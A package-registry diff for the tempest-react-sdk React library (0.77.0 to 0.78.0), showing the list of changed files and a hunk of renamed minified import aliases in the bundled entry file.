tempest-react-sdk 0.77.0 → 0.78.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/lib/alias/collect.mjs +20 -3
- package/bin/lib/alias/index.mjs +12 -1
- package/bin/lib/alias/index.test.mjs +24 -0
- package/bin/lib/css/analyze.test.mjs +21 -1
- package/bin/lib/css/collect.mjs +14 -0
- package/bin/lib/css/extract.mjs +63 -5
- package/bin/lib/css/extract.test.mjs +110 -1
- package/bin/lib/css/fix.e2e.test.mjs +50 -0
- package/bin/lib/css/index.mjs +6 -1
- package/bin/lib/fs/contain.mjs +50 -0
- package/bin/lib/icons/generate.mjs +28 -3
- package/bin/lib/icons/generate.test.mjs +57 -1
- package/bin/lib/openapi/escape.mjs +20 -6
- package/bin/lib/openapi/generate.encode.test.mjs +120 -0
- package/bin/lib/openapi/generate.hostile.test.mjs +38 -9
- package/bin/lib/openapi/generate.mjs +41 -6
- package/bin/lib/openapi/generate.test.mjs +7 -2
- package/bin/lib/openapi/schema-to-zod.mjs +5 -3
- package/bin/tempest-gen.test.mjs +188 -0
- package/bin/tempest.mjs +120 -44
- package/dist/auth/create-tempest-auth.cjs +1 -1
- package/dist/auth/create-tempest-auth.cjs.map +1 -1
- package/dist/auth/create-tempest-auth.js +186 -113
- package/dist/auth/create-tempest-auth.js.map +1 -1
- package/dist/br/pix.cjs +1 -1
- package/dist/br/pix.cjs.map +1 -1
- package/dist/br/pix.js +30 -27
- package/dist/br/pix.js.map +1 -1
- package/dist/br.d.ts +11 -4
- package/dist/components/CodeBlock/CodeBlock.cjs +1 -1
- package/dist/components/CodeBlock/CodeBlock.cjs.map +1 -1
- package/dist/components/CodeBlock/CodeBlock.js +1 -1
- package/dist/components/CodeBlock/CodeBlock.js.map +1 -1
- package/dist/components/CodeBlock/tokenize.cjs +1 -1
- package/dist/components/CodeBlock/tokenize.cjs.map +1 -1
- package/dist/components/CodeBlock/tokenize.js +54 -25
- package/dist/components/CodeBlock/tokenize.js.map +1 -1
- package/dist/components/Markdown/markdown-parse.cjs +6 -6
- package/dist/components/Markdown/markdown-parse.cjs.map +1 -1
- package/dist/components/Markdown/markdown-parse.js +91 -74
- package/dist/components/Markdown/markdown-parse.js.map +1 -1
- package/dist/http/resumable-upload.cjs +1 -1
- package/dist/http/resumable-upload.cjs.map +1 -1
- package/dist/http/resumable-upload.js +141 -105
- package/dist/http/resumable-upload.js.map +1 -1
- package/dist/http/retry.cjs +1 -1
- package/dist/http/retry.cjs.map +1 -1
- package/dist/http/retry.js +5 -6
- package/dist/http/retry.js.map +1 -1
- package/dist/sw/background-sync.cjs +1 -1
- package/dist/sw/background-sync.cjs.map +1 -1
- package/dist/sw/background-sync.js +32 -31
- package/dist/sw/background-sync.js.map +1 -1
- package/dist/sw/credential-headers.cjs.map +1 -1
- package/dist/sw/credential-headers.js.map +1 -1
- package/dist/sw.d.ts +46 -8
- package/dist/telemetry/app-error-reporter.cjs +1 -1
- package/dist/telemetry/app-error-reporter.cjs.map +1 -1
- package/dist/telemetry/app-error-reporter.js +1 -1
- package/dist/telemetry/app-error-reporter.js.map +1 -1
- package/dist/tempest-react-sdk.cjs +1 -1
- package/dist/tempest-react-sdk.d.ts +214 -12
- package/dist/tempest-react-sdk.js +119 -119
- package/dist/utils/csv.cjs +3 -3
- package/dist/utils/csv.cjs.map +1 -1
- package/dist/utils/csv.js +11 -10
- package/dist/utils/csv.js.map +1 -1
- package/dist/{telemetry/app-error-owner.cjs → utils/owner-fingerprint.cjs} +2 -2
- package/dist/utils/owner-fingerprint.cjs.map +1 -0
- package/dist/{telemetry/app-error-owner.js → utils/owner-fingerprint.js} +3 -3
- package/dist/utils/owner-fingerprint.js.map +1 -0
- package/dist/vite/tempest-csp.cjs +2 -2
- package/dist/vite/tempest-csp.cjs.map +1 -1
- package/dist/vite/tempest-csp.js +69 -58
- package/dist/vite/tempest-csp.js.map +1 -1
- package/dist/vite.d.ts +5 -3
- package/package.json +1 -1
- package/dist/telemetry/app-error-owner.cjs.map +0 -1
- package/dist/telemetry/app-error-owner.js.map +0 -1
|
@@ -251,122 +251,122 @@ import { useDescribeApiError as ka } from "./http/use-describe-api-error.js";
|
|
|
251
251
|
import { parseResponse as Aa } from "./http/parse-response.js";
|
|
252
252
|
import { uploadWithProgress as ja } from "./http/upload-with-progress.js";
|
|
253
253
|
import { generateIdempotencyKey as Ma } from "./http/idempotency.js";
|
|
254
|
-
import { DEFAULT_CHUNK_SIZE as Na,
|
|
255
|
-
import { usePoll as
|
|
256
|
-
import { createAuthStore as
|
|
257
|
-
import { AuthGuard as
|
|
258
|
-
import { decodeJWT as
|
|
259
|
-
import { lazyWithRetry as
|
|
260
|
-
import { createRefreshQueue as
|
|
261
|
-
import { DEFAULT_PUB_KEY_CRED_PARAMS as
|
|
262
|
-
import { usePasskeyCapabilities as
|
|
263
|
-
import { createTempestAuth as
|
|
264
|
-
import { AccessControlProvider as
|
|
265
|
-
import { useCan as
|
|
266
|
-
import { Can as
|
|
267
|
-
import { createRoleAccessControl as
|
|
268
|
-
import { permissionsFromToken as
|
|
269
|
-
import { GoogleSignIn as
|
|
270
|
-
import { useOAuthCallback as
|
|
271
|
-
import { OAuthCallbackError as
|
|
272
|
-
import { CACHE_TIME as
|
|
273
|
-
import { createQueryKeys as
|
|
274
|
-
import { shouldRetryQuery as
|
|
275
|
-
import { QueryProvider as
|
|
276
|
-
import { emptyOffsetPage as
|
|
277
|
-
import { usePaginatedQuery as
|
|
278
|
-
import { useCursorQuery as
|
|
279
|
-
import { useOfflineMutation as
|
|
280
|
-
import { removeById as
|
|
281
|
-
import { createOfflineStore as
|
|
282
|
-
import { persistQueryClientOffline as
|
|
283
|
-
import { createDataProvider as
|
|
284
|
-
import { TempestDataProvider as
|
|
285
|
-
import { listQueryKey as
|
|
286
|
-
import { RouteGuard as
|
|
287
|
-
import { AppRouter as
|
|
288
|
-
import { BrowserRouter as
|
|
289
|
-
import { createStore as
|
|
290
|
-
import { createSelectors as
|
|
291
|
-
import { ThemeProvider as
|
|
292
|
-
import { ErrorBoundary as
|
|
293
|
-
import { AppProviders as
|
|
294
|
-
import { createEventStream as
|
|
295
|
-
import { useEventStream as
|
|
296
|
-
import { isPushSupported as
|
|
297
|
-
import { WebPushClient as
|
|
298
|
-
import { usePushSubscription as
|
|
299
|
-
import { installNotificationClickHandler as
|
|
300
|
-
import { DEFAULT_CREDENTIAL_HEADERS as
|
|
301
|
-
import { createPartialResponse as
|
|
302
|
-
import { BACKGROUND_SYNC_CREDENTIALS_MESSAGE as
|
|
303
|
-
import { registerPeriodicSync as
|
|
304
|
-
import { clearCaches as
|
|
305
|
-
import { clearSessionData as
|
|
306
|
-
import { createAudioPlayer as
|
|
307
|
-
import { useAudio as
|
|
308
|
-
import { createSfxPool as
|
|
309
|
-
import { useSfxPool as
|
|
310
|
-
import { DEFAULT_MAX_GAIN as
|
|
311
|
-
import { useAudioBus as
|
|
312
|
-
import { DEFAULT_VOICE_CHAIN as
|
|
313
|
-
import { measureNoiseFloor as
|
|
314
|
-
import { monitorVoiceActivity as
|
|
315
|
-
import { createVideoRecorder as
|
|
316
|
-
import { useVideoRecorder as
|
|
317
|
-
import { isScreenCaptureSupported as
|
|
318
|
-
import { isSpeechRecognitionSupported as
|
|
319
|
-
import { createOfflineDatabase as
|
|
320
|
-
import { createOfflineSync as
|
|
321
|
-
import { higherVersionWins as
|
|
322
|
-
import { useErrorHandler as
|
|
323
|
-
import { FormField as
|
|
324
|
-
import { validateForm as
|
|
325
|
-
import { zodResolver as
|
|
326
|
-
import { useZodForm as
|
|
327
|
-
import { formatCEP as
|
|
328
|
-
import { CEPInput as
|
|
329
|
-
import { useViaCEP as
|
|
330
|
-
import { Controller as
|
|
331
|
-
import { HEARTBEAT_CLOSE_CODE as
|
|
332
|
-
import { createWebSocket as
|
|
333
|
-
import { useWebSocket as
|
|
334
|
-
import { setTunedLocalDescription as
|
|
335
|
-
import { setSenderBitrate as
|
|
336
|
-
import { createLinkStatsSampler as
|
|
337
|
-
import { useLinkStats as
|
|
338
|
-
import { resolveDegradation as
|
|
339
|
-
import { createPeerMesh as
|
|
340
|
-
import { clampLatitude as
|
|
341
|
-
import { EARTH_RADIUS_KM as
|
|
342
|
-
import { DEFAULT_CAR_SPEED_KMH as
|
|
343
|
-
import { boundingBox as
|
|
344
|
-
import { fitProjection as
|
|
345
|
-
import { createOSRMBackend as
|
|
346
|
-
import { createPositionTracker as
|
|
347
|
-
import { usePositionTracker as
|
|
348
|
-
import { TrajectoryMap as
|
|
349
|
-
import { applyTheme as
|
|
350
|
-
import { contrastRatio as
|
|
351
|
-
import { createTheme as
|
|
352
|
-
import { createInverseSurface as
|
|
353
|
-
import { getThemePreset as
|
|
354
|
-
import { getInitialTheme as
|
|
355
|
-
import { consoleSink as
|
|
356
|
-
import { TelemetryProvider as
|
|
357
|
-
import { consoleTelemetryAdapter as
|
|
358
|
-
import { createSentryTelemetryAdapter as
|
|
359
|
-
import { createPostHogTelemetryAdapter as
|
|
360
|
-
import { describeAppError as
|
|
361
|
-
import { createAppErrorReporter as
|
|
362
|
-
import { createAppErrorTelemetryAdapter as
|
|
363
|
-
import { FeatureFlagsProvider as
|
|
364
|
-
import { createInMemoryFlags as
|
|
365
|
-
import { createGrowthBookFeatureFlagsAdapter as
|
|
366
|
-
import { createLaunchDarklyFeatureFlagsAdapter as
|
|
367
|
-
import { DIVERGING_STEP_COUNT as
|
|
368
|
-
import { cachedResponseBytes as
|
|
369
|
-
import { readDeviceProfile as
|
|
370
|
-
import { formatDurationMs as
|
|
371
|
-
import { createInferenceProfiler as
|
|
372
|
-
export { Qt as ABSENT_TEXT, ri as AIChat, Zr as AIChatComposer, ni as AIChatTurn, Fr as ALL_BARCODE_FORMATS, Vt as ALL_OPTION_VALUE, ba as API_ERROR_OFFLINE_KEY, xa as API_ERROR_VALIDATION_KEY, wr as AUDIO_MIME_CANDIDATES, ro as AccessControlProvider, t as Accordion, n as Alert, i as AppBar, fs as AppProviders, Uo as AppRouter, s as AppShell, c as AspectRatio, Sr as AudioPlayer, Pr as AudioRecorder, za as AuthGuard, l as Avatar, u as AvatarGroup, ks as BACKGROUND_SYNC_CREDENTIALS_MESSAGE, a as BREAKPOINTS, d as Badge, f as Banner, ci as BarList, Ur as BarcodeScanner, p as BottomNavigation, h as BottomSheet, g as Breadcrumbs, Go as BrowserRouter, _ as Button, v as ButtonSlot, ho as CACHE_TIME, xc as CEPInput, Sc as CNPJInput, Cc as CPFInput, $n as Calendar, oo as Can, y as Card, ar as Carousel, b as Center, yr as Chat, _r as ChatBubble, vr as ChatComposer, x as Checkbox, S as ChipInput, In as ClickOutside, An as CodeBlock, qn as Collapsible, w as Combobox, Xn as Command, Ln as ConditionalWrapper, E as ConfirmDialog, B as Container, Jn as ContextMenu, Dc as Controller, kn as CopyButton, Sa as DEFAULT_API_ERROR_STRINGS, Ir as DEFAULT_BARCODE_FORMATS, ol as DEFAULT_CAR_SPEED_KMH, Na as DEFAULT_CHUNK_SIZE, sl as DEFAULT_CIRCUITY_FACTOR, Ts as DEFAULT_CREDENTIAL_HEADERS, da as DEFAULT_CSRF_COOKIE_NAME, fa as DEFAULT_CSRF_HEADER_NAME, Us as DEFAULT_MAX_GAIN, cl as DEFAULT_MODE_DURATION_FACTORS, bn as DEFAULT_PLAYBACK_RATES, Wa as DEFAULT_PUB_KEY_CRED_PARAMS, ye as DEFAULT_PUSH_TO_TALK_KEY, Ks as DEFAULT_VOICE_CHAIN, eu as DIVERGING_STEP_COUNT, Vn as DataList, or as DataTable, O as DatePicker, nr as DateRangePicker, Hn as DescriptionList, k as Divider, A as Drawer, j as DropdownMenu, M as Dropzone, tl as EARTH_RADIUS_KM, N as EmptyState, ds as ErrorBoundary, P as ErrorState, zn as ErrorText, Jl as FeatureFlagsProvider, F as FileUpload, pi as FilterBar, wi as FilterPanel, cr as FloatingActionButton, Rn as For, I as Form, L as FormActions, fc as FormField, Oc as FormProvider, R as FormRow, z as FormSection, lo as GoogleSignIn, V as Grid, Pc as HEARTBEAT_CLOSE_CODE, Ko as HashRouter, Ft as Hide, Yn as HoverCard, Ta as I18nProvider, Bn as Image, mn as ImageCropper, D as Input, X as InstallBanner, Z as InstallButton, mt as Kanban, gt as Kbd, Kn as Label, pr as Lightbox, qo as Link, sr as ListTile, ti as Markdown, ai as Masonry, Jo as MemoryRouter, ir as Menubar, T as Modal, _t as ModalsProvider, Mn as Money, wc as MoneyInput, tr as MultiSelect, bt as NProgressBar, Yo as NavLink, yt as Navbar, Xo as Navigate, rr as NavigationMenu, lr as NavigationRail, vn as NotificationCenter, fo as OAuthCallbackError, tu as ORDINAL_START_STEP, ct as OfflineIndicator, Zo as Outlet, be as PUSH_TO_TALK_KEYS, wt as Page, Tt as Pagination, Ga as PasskeyError, Et as PasswordInput, Tc as PhoneInput, Ot as PinInput, kt as Popover, C as Portal, At as Progress, Tn as QRCapacityError, On as QRCode, bo as QueryProvider, go as REFETCH_TIME, jt as Radio, Mt as RadioGroup, Nt as RangeSlider, Pt as RatingStars, dr as RefreshIndicator, jn as RelativeTime, Qn as Resizable, Fn as Reveal, Qo as Route, Ho as RouteGuard, $o as Routes, nu as SEQUENTIAL_STEP_COUNT, _o as STALE_TIME, Lt as SafeArea, gn as Scheduler, Zn as ScrollArea, Rt as SearchBar, St as Section, Ct as SectionHeader, zt as SegmentedControl, Bt as Select, ma as SessionSupersededError, It as Show, Kt as Sidebar, mr as SignaturePad, qt as Skeleton, er as Slider, Jt as Spacer, hn as Sparkline, Yt as Spinner, H as Stack, Xt as Stat, Zt as Stepper, rn as StepperInput, an as Switch, ft as SyncStatusBadge, sn as Table, cn as Tabs, on as Tag, Bl as TelemetryProvider, ha as TempestApiError, No as TempestDataProvider, ln as Textarea, ls as ThemeProvider, ur as TimePicker, un as Timeline, fn as ToastProvider, Un as Toggle, Wn as ToggleGroup, Gn as ToggleGroupItem, dn as Tooltip, oi as Tour, yl as TrajectoryMap, ii as Transfer, Nn as TreeView, Pn as TruncateText, pt as UpdatePrompt, xn as VideoPlayer, Sn as VirtualList, wn as VirtualTable, dt as VisuallyHidden, _s as WebPushClient, vs as WebPushPermissionDeniedError, ys as WebPushUnsubscribeError, bs as WebPushUnsupportedError, fr as Wizard, Gt as activeNavKey, Wr as aiChatStrings, Te as announce, Si as applyFilters, ht as applyKanbanMove, bl as applyTheme, Gi as assertNever, Ka as base64UrlToBytes, nl as bearingDeg, Mr as blobToWav, ul as boundingBox, dl as boundsCenter, la as buildApiUrl, si as buildBarListRows, U as buildOpenInChromeIntent, qa as bytesToBase64Url, ou as cachedResponseBytes, ji as camelCase, Mi as capitalize, Li as chunk, $t as clamp, Xc as clampLatitude, Ja as classifyPasskeyError, Ee as clearAnnouncer, As as clearBackgroundSyncQueue, Ps as clearCaches, Is as clearSessionData, e as cn, Cn as compareValues, Di as compressToString, Oi as compressedStorage, ki as compressedStorageCodec, Rl as consoleSink, Hl as consoleTelemetryAdapter, Sl as contrastRatio, ya as createApiClient, Kl as createAppErrorReporter, ql as createAppErrorTelemetryAdapter, Ws as createAudioBus, Ls as createAudioPlayer, Tr as createAudioRecorder, Ra as createAuthStore, Lr as createBarcodeDetector, Cl as createColorScale, jo as createDataProvider, ps as createEventStream, Ql as createGrowthBookFeatureFlagsAdapter, wa as createI18n, Zl as createInMemoryFlags, lu as createInferenceProfiler, Nl as createInverseSurface, Ti as createJsonStorage, $l as createLaunchDarklyFeatureFlagsAdapter, Or as createLevelMeter, Vc as createLinkStatsSampler, Pa as createLocalUploadStorage, zl as createLogger, Cr as createMediaRecorder, gl as createOSRMBackend, sc as createOfflineDatabase, ko as createOfflineStore, cc as createOfflineSync, Es as createPartialResponse, Ya as createPasskeyClient, Yc as createPeerMesh, _l as createPositionTracker, Wl as createPostHogTelemetryAdapter, vo as createQueryKeys, Ua as createRefreshQueue, Fa as createResumableUpload, so as createRoleAccessControl, cs as createSelectors, Ul as createSentryTelemetryAdapter, Vs as createSfxPool, ss as createStore, no as createTempestAuth, jl as createTheme, $s as createVideoRecorder, qs as createVoiceChain, Ic as createWebSocket, pa as csrfHeaders, Xi as debounce, Ba as decodeJWT, Ai as decompressFromString, Vi as deepMerge, Y as defaultInstallHint, Wo as defineRoutes, Ca as describeApiError, Gl as describeAppError, li as describeFilter, ru as divergingScale, sa as downloadCsv, xo as emptyOffsetPage, Mo as encodeIdSegment, En as encodeQR, Nr as encodeWav, Dt as estimatePasswordStrength, et as estimateStorage, ll as estimateTravel, po as exchangeOAuthCallback, fl as expandBounds, ui as filtersFromSearchParams, Ci as filtersToQueryParams, di as filtersToSearchParams, pl as fitProjection, en as formatBytes, gc as formatCEP, _c as formatCNPJ, mi as formatCPF, tn as formatCompactNumber, hi as formatCurrency, gi as formatDate, _i as formatDateForInput, vi as formatDateTime, yi as formatDateTimeForInput, cu as formatDurationMs, bi as formatPercent, xi as formatPhone, Ma as generateIdempotencyKey, Il as getInitialTheme, Rr as getSupportedBarcodeFormats, Pl as getThemePreset, Ri as groupBy, rl as haversineKm, wl as hexToOklch, Tl as hexToRgb, El as hexToRgbaString, lc as higherVersionWins, Fs as inspectCaches, js as installBackgroundSync, Ss as installNotificationClickHandler, Ds as installPrecache, Cs as installPushHandler, Os as installRuntimeCache, ws as installSkipWaitingListener, W as isAndroid, G as isAndroidWithoutPromptApi, ga as isApiError, br as isAudioOutputSelectionSupported, Er as isAudioRecordingSupported, zr as isBarcodeDetectionSupported, Xa as isConditionalMediationAvailable, Zc as isCoordinate, So as isCursorPage, Ki as isDefined, Hi as isEmpty, _e as isFullscreenSupported, Gr as isGenerating, K as isIOS, Va as isJWTExpired, Ar as isMediaCaptureSupported, qi as isNumber, Co as isOffsetPage, Za as isPasskeySupported, Ji as isPlainObject, Qa as isPlatformAuthenticatorAvailable, hs as isPushSupported, Fc as isRejectionCloseCode, _a as isRetriableStatus, rc as isScreenCaptureSupported, ia as isShareSupported, ac as isSpeechRecognitionSupported, q as isStandalone, Yi as isString, ua as isTrustedCredentialTarget, Qc as isValidLatitude, $c as isValidLongitude, ec as isVideoRecordingSupported, Js as isVoiceChainIdle, Ni as kebabCase, Kr as lastAssistantId, uc as lastWriteWins, Ha as lazyWithRetry, Fo as listQueryKey, Dn as matrixToPath, Xs as measureNoiseFloor, Zi as memoizeOne, Qs as monitorVoiceActivity, Ys as monitorVoiceChain, rt as moveItem, Br as normalizeBarcode, el as normalizeLongitude, xt as nprogress, Dl as oklchToHex, Ui as omit, Qi as once, Io as oneQueryKey, fi as operatorsFor, Aa as parseResponse, il as pathLengthKm, nn as percentOf, co as permissionsFromToken, Ao as persistQueryClientOffline, Wi as pick, Dr as pickAudioMimeType, tc as pickVideoMimeType, Rs as playAudio, Pi as pluralize, ml as projectMercator, Ms as provideBackgroundSyncCredentials, xe as pushToTalkKeyLabel, na as randomId, zi as range, Hc as readAvailableOutgoingKbps, su as readDeviceProfile, mo as readOAuthCallbackParams, Uc as readQualityLimitation, Wc as readRelayed, Gc as readRoundTripMs, xl as readThemeToken, Ol as readableForeground, hr as receiptLabel, es as redirect, Ns as registerPeriodicSync, Xe as registerServiceWorker, kl as relativeLuminance, _n as relativeTime, Do as removeById, tt as requestPersistentStorage, qc as resolveDegradation, gr as resolveReceiptState, va as retry, Al as rgbToHex, qr as roleLabel, Qr as safeAttachmentUrl, $r as safeImageUrl, ei as safeLinkUrl, Jc as scaleForRoom, iu as scaleSteps, au as sequentialScale, xr as setAudioOutput, r as setDevBuild, Bc as setSenderBitrate, Rc as setTunedLocalDescription, aa as share, oa as shareOrDownloadBlob, yo as shouldRetryQuery, Ze as skipWaiting, ea as sleep, Fi as slugify, zs as stopAudio, Ei as storage, Zs as suggestGateThreshold, Jr as tailSignature, Ml as themeContrast, Ll as themeInitScript, Fl as themePresets, $i as throttle, ca as toCsv, Ht as toOptions, al as toRadians, Ii as truncate, zc as tuneOpus, Yr as turnTime, Bi as uniqueBy, vc as unmask, hl as unprojectMercator, Qe as unregisterAllServiceWorkers, Ia as uploadFingerprint, ja as uploadWithProgress, Oo as upsertById, gs as urlBase64ToUint8Array, io as useAccessControl, De as useAnnounce, ce as useAsync, Bs as useAudio, Gs as useAudioBus, kr as useAudioRecorder, Hr as useBarcodeScanner, he as useBeforeInstallPrompt, o as useBreakpoint, ao as useCan, Ke as useClickOutside, ee as useClientFilter, pe as useClipboard, ze as useCountdown, Re as useCounter, Lo as useCreate, To as useCursorQuery, Po as useDataProvider, Q as useDebounce, te as useDeepMemo, Ro as useDelete, ka as useDescribeApiError, Ie as useDisclosure, Ve as useDocumentTitle, ue as useDocumentVisibility, re as useDraftFilters, dc as useErrorHandler, ae as useEventListener, ms as useEventStream, He as useFavicon, Yl as useFeatureFlag, kc as useFieldArray, Xl as useFlagValue, m as useFocusTrap, Ac as useForm, jc as useFormContext, Mc as useFormState, ve as useFullscreen, Ce as useGeolocation, Pe as useHover, Ea as useI18n, ge as useIdle, J as useInstallPrompt, de as useIntersectionObserver, Ae as useInterval, qe as useIsFirstRender, me as useKeyboardShortcut, ne as useLatestRef, Kc as useLinkStats, zo as useList, Le as useListState, oe as useLocalStorage, ts as useLocation, Fe as useLongPress, Ye as useLongPressHandlers, Ue as useMap, ns as useMatch, st as useMediaDevices, ot as useMediaPermission, ie as useMediaQuery, jr as useMicrophone, vt as useModals, rs as useNavigate, yn as useNotificationInbox, uo as useOAuthCallback, Je as useObjectUrl, Eo as useOfflineMutation, lt as useOfflineSync, Bo as useOne, le as useOnline, Da as useOptionalI18n, wo as usePaginatedQuery, $ as usePagination, is as useParams, $a as usePasskeyCapabilities, eo as usePasskeyRegistration, to as usePasskeySignIn, La as usePoll, vl as usePositionTracker, ke as usePrevious, xs as usePushSubscription, Se as usePushToTalk, Ge as useQueue, fe as useResizeObserver, as as useRouteError, ic as useScreenCapture, we as useScrollLock, at as useScrollOverflow, os as useSearchParams, $e as useServiceWorkerUpdate, We as useSet, Hs as useSfxPool, it as useSortable, oc as useSpeechRecognition, Oe as useStableCallback, nt as useStorageEstimate, ut as useSyncStatus, Vl as useTelemetry, us as useTheme, Me as useThrottle, je as useTimeout, pn as useToast, se as useToggle, Vr as useTorch, Oa as useTranslate, Be as useTypewriter, Vo as useUpdate, Ec as useViaCEP, nc as useVideoRecorder, Nc as useWatch, Lc as useWebSocket, Ne as useWindowSize, hc as useZodForm, yc as validateCNPJ, bc as validateCPF, pc as validateForm, Xr as visibleTurns, Ut as withAllOption, Wt as withEmptyOption, ta as withTimeout, ra as writeXlsx, mc as zodResolver };
|
|
254
|
+
import { DEFAULT_CHUNK_SIZE as Na, ResumableUploadSupersededError as Pa, createLocalUploadStorage as Fa, createResumableUpload as Ia, uploadFingerprint as La } from "./http/resumable-upload.js";
|
|
255
|
+
import { usePoll as Ra } from "./http/use-poll.js";
|
|
256
|
+
import { createAuthStore as za } from "./auth/create-auth-store.js";
|
|
257
|
+
import { AuthGuard as Ba } from "./auth/AuthGuard.js";
|
|
258
|
+
import { decodeJWT as Va, isJWTExpired as Ha } from "./auth/jwt.js";
|
|
259
|
+
import { lazyWithRetry as Ua } from "./auth/lazy-with-retry.js";
|
|
260
|
+
import { createRefreshQueue as Wa } from "./auth/refresh-queue.js";
|
|
261
|
+
import { DEFAULT_PUB_KEY_CRED_PARAMS as Ga, PasskeyError as Ka, base64UrlToBytes as qa, bytesToBase64Url as Ja, classifyPasskeyError as Ya, createPasskeyClient as Xa, isConditionalMediationAvailable as Za, isPasskeySupported as Qa, isPlatformAuthenticatorAvailable as $a } from "./auth/passkey.js";
|
|
262
|
+
import { usePasskeyCapabilities as eo, usePasskeyRegistration as to, usePasskeySignIn as no } from "./auth/use-passkey.js";
|
|
263
|
+
import { createTempestAuth as ro } from "./auth/create-tempest-auth.js";
|
|
264
|
+
import { AccessControlProvider as io, useAccessControl as ao } from "./access/access-control-context.js";
|
|
265
|
+
import { useCan as oo } from "./access/use-can.js";
|
|
266
|
+
import { Can as so } from "./access/Can.js";
|
|
267
|
+
import { createRoleAccessControl as co } from "./access/create-role-access-control.js";
|
|
268
|
+
import { permissionsFromToken as lo } from "./access/permissions-from-token.js";
|
|
269
|
+
import { GoogleSignIn as uo } from "./oauth/GoogleSignIn.js";
|
|
270
|
+
import { useOAuthCallback as fo } from "./oauth/use-oauth-callback.js";
|
|
271
|
+
import { OAuthCallbackError as po, exchangeOAuthCallback as mo, readOAuthCallbackParams as ho } from "./oauth/callback.js";
|
|
272
|
+
import { CACHE_TIME as go, REFETCH_TIME as _o, STALE_TIME as vo } from "./query/constants.js";
|
|
273
|
+
import { createQueryKeys as yo } from "./query/create-query-keys.js";
|
|
274
|
+
import { shouldRetryQuery as bo } from "./query/retry-policy.js";
|
|
275
|
+
import { QueryProvider as xo } from "./query/QueryProvider.js";
|
|
276
|
+
import { emptyOffsetPage as So, isCursorPage as Co, isOffsetPage as wo } from "./query/pagination.js";
|
|
277
|
+
import { usePaginatedQuery as To } from "./query/use-paginated-query.js";
|
|
278
|
+
import { useCursorQuery as Eo } from "./query/use-cursor-query.js";
|
|
279
|
+
import { useOfflineMutation as Do } from "./query/use-offline-mutation.js";
|
|
280
|
+
import { removeById as Oo, upsertById as ko } from "./query/optimistic.js";
|
|
281
|
+
import { createOfflineStore as Ao } from "./offline/create-offline-store.js";
|
|
282
|
+
import { persistQueryClientOffline as jo } from "./query/offline-persistence.js";
|
|
283
|
+
import { createDataProvider as Mo, encodeIdSegment as No } from "./data/create-data-provider.js";
|
|
284
|
+
import { TempestDataProvider as Po, useDataProvider as Fo } from "./data/data-provider-context.js";
|
|
285
|
+
import { listQueryKey as Io, oneQueryKey as Lo, useCreate as Ro, useDelete as zo, useList as Bo, useOne as Vo, useUpdate as Ho } from "./data/use-resource.js";
|
|
286
|
+
import { RouteGuard as Uo } from "./router/RouteGuard.js";
|
|
287
|
+
import { AppRouter as Wo, defineRoutes as Go } from "./router/AppRouter.js";
|
|
288
|
+
import { BrowserRouter as Ko, HashRouter as qo, Link as Jo, MemoryRouter as Yo, NavLink as Xo, Navigate as Zo, Outlet as Qo, Route as $o, Routes as es, redirect as ts, useLocation as ns, useMatch as rs, useNavigate as is, useParams as as, useRouteError as os, useSearchParams as ss } from "./router/index.js";
|
|
289
|
+
import { createStore as cs } from "./store/create-store.js";
|
|
290
|
+
import { createSelectors as ls } from "./store/create-selectors.js";
|
|
291
|
+
import { ThemeProvider as us, useTheme as ds } from "./theme/ThemeProvider.js";
|
|
292
|
+
import { ErrorBoundary as fs } from "./error-boundary/ErrorBoundary.js";
|
|
293
|
+
import { AppProviders as ps } from "./app/AppProviders.js";
|
|
294
|
+
import { createEventStream as ms } from "./sse/create-event-stream.js";
|
|
295
|
+
import { useEventStream as hs } from "./sse/use-event-stream.js";
|
|
296
|
+
import { isPushSupported as gs, urlBase64ToUint8Array as _s } from "./push/utils.js";
|
|
297
|
+
import { WebPushClient as vs, WebPushPermissionDeniedError as ys, WebPushUnsubscribeError as bs, WebPushUnsupportedError as xs } from "./push/web-push-client.js";
|
|
298
|
+
import { usePushSubscription as Ss } from "./push/use-push-subscription.js";
|
|
299
|
+
import { installNotificationClickHandler as Cs, installPushHandler as ws, installSkipWaitingListener as Ts } from "./sw/create-push-handler.js";
|
|
300
|
+
import { DEFAULT_CREDENTIAL_HEADERS as Es } from "./sw/credential-headers.js";
|
|
301
|
+
import { createPartialResponse as Ds, installPrecache as Os, installRuntimeCache as ks } from "./sw/cache.js";
|
|
302
|
+
import { BACKGROUND_SYNC_CREDENTIALS_MESSAGE as As, clearBackgroundSyncQueue as js, installBackgroundSync as Ms, provideBackgroundSyncCredentials as Ns } from "./sw/background-sync.js";
|
|
303
|
+
import { registerPeriodicSync as Ps } from "./sw/periodic-sync.js";
|
|
304
|
+
import { clearCaches as Fs, inspectCaches as Is } from "./sw/cache-inspect.js";
|
|
305
|
+
import { clearSessionData as Ls } from "./sw/session-data.js";
|
|
306
|
+
import { createAudioPlayer as Rs, playAudio as zs, stopAudio as Bs } from "./audio/audio-player.js";
|
|
307
|
+
import { useAudio as Vs } from "./audio/use-audio.js";
|
|
308
|
+
import { createSfxPool as Hs } from "./audio/sfx-pool.js";
|
|
309
|
+
import { useSfxPool as Us } from "./audio/use-sfx-pool.js";
|
|
310
|
+
import { DEFAULT_MAX_GAIN as Ws, createAudioBus as Gs } from "./audio/audio-bus.js";
|
|
311
|
+
import { useAudioBus as Ks } from "./audio/use-audio-bus.js";
|
|
312
|
+
import { DEFAULT_VOICE_CHAIN as qs, createVoiceChain as Js, isVoiceChainIdle as Ys, monitorVoiceChain as Xs } from "./audio/voice-chain.js";
|
|
313
|
+
import { measureNoiseFloor as Zs, suggestGateThreshold as Qs } from "./audio/noise-floor.js";
|
|
314
|
+
import { monitorVoiceActivity as $s } from "./audio/voice-activity.js";
|
|
315
|
+
import { createVideoRecorder as ec, isVideoRecordingSupported as tc, pickVideoMimeType as nc } from "./capture/video-recorder.js";
|
|
316
|
+
import { useVideoRecorder as rc } from "./capture/use-video-recorder.js";
|
|
317
|
+
import { isScreenCaptureSupported as ic, useScreenCapture as ac } from "./capture/use-screen-capture.js";
|
|
318
|
+
import { isSpeechRecognitionSupported as oc, useSpeechRecognition as sc } from "./capture/use-speech-recognition.js";
|
|
319
|
+
import { createOfflineDatabase as cc } from "./offline/create-offline-database.js";
|
|
320
|
+
import { createOfflineSync as lc } from "./offline/create-offline-sync.js";
|
|
321
|
+
import { higherVersionWins as uc, lastWriteWins as dc } from "./offline/conflict.js";
|
|
322
|
+
import { useErrorHandler as fc } from "./error-boundary/use-error-handler.js";
|
|
323
|
